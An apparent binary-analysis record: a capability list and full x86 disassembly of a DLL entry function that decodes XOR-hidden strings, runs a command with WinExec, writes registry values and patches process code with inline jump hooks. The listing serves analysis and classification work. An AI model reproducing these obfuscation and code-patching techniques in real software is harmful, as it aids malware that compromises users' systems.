Function at 0x1000bd80
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x270
mov eax, dword [0x1002700c]
xor eax, esp
mov dword [esp + 0x26c], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
sub dword [ebp + 0xc], 1
jne 0x1000c9ae
lea eax, [esp + 0x60]
mov dword [0x10132004], esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edx, 0xdf
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10022278]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x36
jb 0x1000bdd0
lea eax, [esp + 0x60]
mov byte [esp + 0x4e], 0
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x170]
push eax
call fcn.1000e040
add esp, 0xc
lea eax, [esp + 0x168]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [esp + 0x64]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x168]
push 0x104
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x14], 0
mov edx, 6
xor ecx, ecx
mov al, byte [ecx + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x3b
jb 0x1000be51
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x57], 0
push eax
push connect
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
lea eax, [esp + 0x64]
mov dword [esp + 0x64], 0x75526f4e
push eax
push dword [esp + 0x24]
mov word [esp + 0x70], 0x6e
call edi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0xa1
xor ecx, ecx
mov al, byte [ecx + 0x100222ec]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2a
jb 0x1000bec1
lea eax, [esp + 0x10]
mov byte [esp + 0x42], 0
push eax
lea eax, [esp + 0x1c]
push eax
push connect
call esi
mov eax, 0x10022318
lea ecx, [esp + 0x18]
sub eax, 0x38d41ae2
push eax
call fcn.1000d180
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push 0
push eax
push dword [esp + 0x24]
call edi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x10131fcc], 0x74cd30
call fcn.10002180
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10002660
push 0x1000bc20
push 0x10131fcc
call fcn.10001c30
call fcn.100021f0
mov dword [0x10131fc8], 0x771310
call fcn.10002180
call esi
push eax
call fcn.10002660
push 0x1000bc60
push 0x10131fc8
call fcn.10001c30
call fcn.100021f0
mov dword [0x10131fc4], 0x6d9070
call fcn.10002180
call esi
push eax
call fcn.10002660
push 0x1000bca0
push 0x10131fc4
call fcn.10001c30
call fcn.100021f0
mov dword [0x10131fc0], 0x72d1b0
call fcn.10002180
call esi
push eax
call fcn.10002660
push 0x1000bcf0
push 0x10131fc0
call fcn.10001c30
call fcn.100021f0
push 0x1000bd40
push 0x609fc3
push 0xe9
call fcn.10016fa0
add esp, 0xc
cmp byte [0x4d1e69], 0xeb
jne 0x1000c017
xorps xmm0, xmm0
push 0
movups xmmword [0x10132320], xmm0
movups xmmword [0x10132330], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push 0x1f249f7b
lea ecx, [esp + 0x1c]
call fcn.1000cab0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov word [esp + 0x20], 0
push 0x5cc7a73b
lea ecx, [esp + 0x58]
movq qword [esp + 0x1c], xmm0
mov esi, eax
mov byte [esp + 0x26], 0
call fcn.1000d100
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [esp + 0x5c], 0
movq qword [esp + 0x54], xmm0
call eax
push 0x6a09467f
lea ecx, [esp + 0x58]
mov byte [0x10131f57], 1
call fcn.1000cd90
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
sete al
test al, al
je 0x1000c095
call fcn.10006470
push ecx
push 0x10
lea edx, [esp + 0x20]
mov dword [esp + 0x20], 0xc708c483
mov dword [esp + 0x24], 0xffffff05
mov dword [esp + 0x28], 0x46ff
mov dword [esp + 0x2c], 0x68006a00
call fcn.10018f90
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 8
test eax, eax
je 0x1000c15b
mov esi, dword [eax + 0x1f]
lea edi, [eax + 0x1e]
add esi, 5
add esi, edi
lea ecx, [esi + 0xa]
mov dword [0x10027044], ecx
mov eax, dword [ecx + 1]
add eax, 5
add eax, ecx
mov dword [0x10027044], eax
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x100064f0
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x10]
push 5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push edi
call esi
mov eax, 0x100064f0
mov byte [edi], 0xe8
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x10]
push 5
push edi
mov edi, esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x1000c1a2
mov edx, 0xef
xor ecx, ecx
mov al, byte [ecx + 0x10022324]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x1000c162
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xorps xmm0, xmm0
push 0
movups xmmword [0x10132320], xmm0
movups xmmword [0x10132330], xmm0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push ecx
push 0x1b
lea edx, [esp + 0x20]
mov dword [esp + 0x20], 0xffffffa1
mov dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x28], 0xffff8b32
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x30], 0x78ffffff
mov dword [esp + 0x34], 0x8bffff89
mov word [esp + 0x38], 0x8ff
mov byte [esp + 0x3a], 0x51
call fcn.10018f90
add esp, 8
test eax, eax
je 0x1000c494
mov eax, dword [eax + 1]
lea edx, [esp + 0x18]
push ecx
push 0x21
mov dword [0x10131fa4], eax
mov dword [esp + 0x20], 0xffffffa1
mov dword [esp + 0x24], 0xffff89ff
mov dword [esp + 0x28], 0x83ffffff
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x30], 0xffff02ff
mov dword [esp + 0x34], 0xffffff83
mov dword [esp + 0x38], 0x7404ffff
mov dword [esp + 0x3c], 0x6affebff
mov byte [esp + 0x40], 0
call fcn.10018f90
add esp, 8
mov dword [0x10131fa8], eax
test eax, eax
je 0x1000c264
mov eax, dword [eax + 1]
mov dword [0x10131fa8], eax
jmp 0x1000c2a6
mov edx, 0xba
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10022338]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1000c270
lea eax, [esp + 0x18]
mov byte [esp + 0x27], 0
push eax
push 0
push 0x10127210
call fcn.1000e6e0
add esp, 0xc
call fcn.10016f70
push ecx
push 0x17
lea edx, [esp + 0x20]
mov dword [esp + 0x20], 0x8e68
mov dword [esp + 0x24], 0xc16800
mov dword [esp + 0x28], 0xff8d0000
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x30], 0xffffffe8
mov word [esp + 0x34], 0x6aff
mov byte [esp + 0x36], 2
call fcn.10018f90
add esp, 8
mov dword [esp + 0xc], eax
test eax, eax
je 0x1000c460
push ecx
push 0x1b
lea edx, [esp + 0x20]
mov dword [esp + 0x20], 0xffffffa1
mov dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x28], 0xffff8b32
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x30], 0x78ffffff
mov dword [esp + 0x34], 0x8bffff89
mov word [esp + 0x38], 0x8ff
mov byte [esp + 0x3a], 0x51
call fcn.10018f90
add esp, 8
mov dword [0x10131ff8], eax
test eax, eax
je 0x1000c353
mov eax, dword [eax + 0xb]
mov dword [0x10131ff8], eax
jmp 0x1000c382
mov edx, 0x67
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + str.4__58]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000c360
mov byte [esp + 0x2a], 0
call fcn.10016f70
mov ecx, dword [esp + 0xc]
add ecx, 0x47
mov dword [0x10131ff4], ecx
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
mov dword [0x10131ff4], edx
lea ecx, [edx + 0xa]
mov dword [0x10131ff0], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
mov dword [0x10131ff0], eax
lea ecx, [eax + 0x2d]
mov dword [0x10131fec], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x25]
mov dword [0x10131fe8], ecx
mov dword [0x10131fec], eax
mov edx, dword [ecx + 1]
add ecx, 5
add edx, ecx
mov dword [0x10131fe8], edx
lea ecx, [edx + 8]
mov dword [0x10027034], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x21]
mov dword [0x10027040], ecx
mov dword [0x10027034], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x3a]
mov dword [0x1002703c], ecx
mov dword [0x10027040], eax
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0x42]
mov dword [0x1002703c], eax
mov dword [0x10027038], ecx
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [edx + 0xc8]
mov dword [0x10027038], eax
mov dword [0x10027030], ecx
mov eax, dword [ecx + 1]
add eax, 5
mov dword [0x10131fac], 0x10006e30
add eax, ecx
mov dword [0x10027030], eax
jmp 0x1000c4f3
mov edx, 0x72
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1002235c]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x1000c470
mov byte [esp + 0x33], 0
call fcn.10016f70
jmp 0x1000c4f3
mov edx, 0x82
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + 0x10022378]
xor al, dl
mov byte [esp + ecx + 0x18], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xf
jb 0x1000c4a0
lea eax, [esp + 0x18]
mov byte [esp + 0x27], 0
push eax
push 0
push 0x10127210
call fcn.1000e6e0
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [0x10132320], xmm0
movups xmmword [0x10132330], xmm0
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
push ecx
push 0x30
lea edx, [esp + 0x20]
mov dword [esp + 0x20], 0xffe8c88b
mov dword [esp + 0x24], 0xe8ffffff
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x2c], 0xffffffe8
mov dword [esp + 0x30], 0xffffe8ff
mov dword [esp + 0x34], 0xffe8ffff
mov dword [esp + 0x38], 0xe8ffffff
mov dword [esp + 0x3c], 0xffffffff
mov dword [esp + 0x40], 0xffffffe8
mov dword [esp + 0x44], 0xffffe8ff
mov dword [esp + 0x48], 0x1b0ffff
mov dword [esp + 0x4c], 0xc35de58b
call fcn.10018f90
add esp, 8
mov dword [0x10131fd4], eax
test eax, eax
je 0x1000c5b6
lea esi, [eax + 0x1b]
lea ecx, [eax + 0x20]
mov dword [0x10131fd8], esi
mov dword [0x10131fdc], ecx
mov eax, dword [esi + 1]
add eax, 5
add eax, esi
mov dword [0x10131fd8], eax
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push esi
call edi
mov eax, 0x10007420
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x10]
push 5
push esi
call edi
jmp 0x1000c5d8
xorps xmm0, xmm0
push 0
movups xmmword [0x10132320], xmm0
movups xmmword [0x10132330], xmm0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
mov esi, dword [0x10131ff0]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x76
push esi
call edi
push 0x76
push 0xc3
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x76
push esi
call edi
mov esi, dword [0x10131fe8]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x1e0
push esi
call edi
push 0x1e0
push 0xc3
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x1e0
push esi
call edi
mov esi, dword [0x10131ff4]
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x33
push esi
call edi
push 0x33
push 0xc3
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push 0x33
push esi
call edi
mov esi, dword [0x10131ff4]
lea eax, [esp + 0xc]
push eax
push 0x40
push 5
push esi
call edi
mov eax, 0x10006be0
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x10]
push 5
push esi
call edi
push 0x400000
push 0
push 0x10132360
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x400000
push 0x10132360
push 0x400000
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
movaps xmm1, xmmword [0x10022ca0]
xor eax, eax
movaps xmm2, xmmword [0x10022cc0]
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x10132360]
psubb xmm0, xmm1
movups xmmword [eax + 0x10132360], xmm0
movups xmm0, xmmword [eax + 0x10132360]
pxor xmm0, xmm2
movups xmmword [eax + 0x10132360], xmm0
movups xmm0, xmmword [eax + 0x10132370]
psubb xmm0, xmm1
movups xmmword [eax + 0x10132370], xmm0
movups xmm0, xmmword [eax + 0x10132370]
pxor xmm0, xmm2
movups xmmword [eax + 0x10132370], xmm0
add eax, 0x20
cmp eax, 0x400000
jb 0x1000c6f0
push 0xa0
push 0
push 0x10532360
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x10532360
push 0x10006be0
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022ca0]
xor eax, eax
movaps xmm2, xmmword [0x10022cc0]
nop dword [eax]
movups xmm0, xmmword [eax + 0x10532360]
psubb xmm0, xmm1
movups xmmword [eax + 0x10532360], xmm0
movups xmm0, xmmword [eax + 0x10532360]
pxor xmm0, xmm2
movups xmmword [eax + 0x10532360], xmm0
movups xmm0, xmmword [eax + 0x10532370]
psubb xmm0, xmm1
movups xmmword [eax + 0x10532370], xmm0
movups xmm0, xmmword [eax + 0x10532370]
pxor xmm0, xmm2
movups xmmword [eax + 0x10532370], xmm0
add eax, 0x20
cmp eax, 0xa0
jb 0x1000c780
push 0x7c
push 0
push 0x10532400
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10532400
push fcn.100065f0
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022ca0]
mov edx, 3
movaps xmm2, xmmword [0x10022cc0]
mov eax, 0x10532410
lea ecx, [edx + 0x5d]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x1000c811
nop dword [eax]
mov al, byte [ecx + 0x10532400]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10532400], al
inc ecx
cmp ecx, 0x7c
jb 0x1000c850
push 0x52f
push 0
push 0x10532480
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x10532480
push fcn.10006670
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022ca0]
mov eax, 0x10532490
movaps xmm2, xmmword [0x10022cc0]
mov edx, 0x29
mov ecx, 0x520
nop dword [eax]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x1000c8b0
nop dword [eax + eax]
mov al, byte [ecx + 0x10532480]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10532480], al
inc ecx
cmp ecx, 0x52f
jb 0x1000c8f0
push 0xc8
push 0
push 0x105329e8
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0xc8
push 0x105329e8
push 0x10011850
call esi
push eax
call edi
movaps xmm1, xmmword [0x10022ca0]
mov eax, 0x105329f8
movaps xmm2, xmmword [0x10022cc0]
mov edx, 6
mov ecx, 0xc0
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x1000c950
nop dword [eax + eax]
mov al, byte [ecx + 0x105329e8]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x105329e8], al
inc ecx
cmp ecx, 0xc8
jb 0x1000c990
call fcn.100149b0
mov ecx, dword [esp + 0x274]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.1001a628
mov esp, ebp
pop ebp
ret 0xc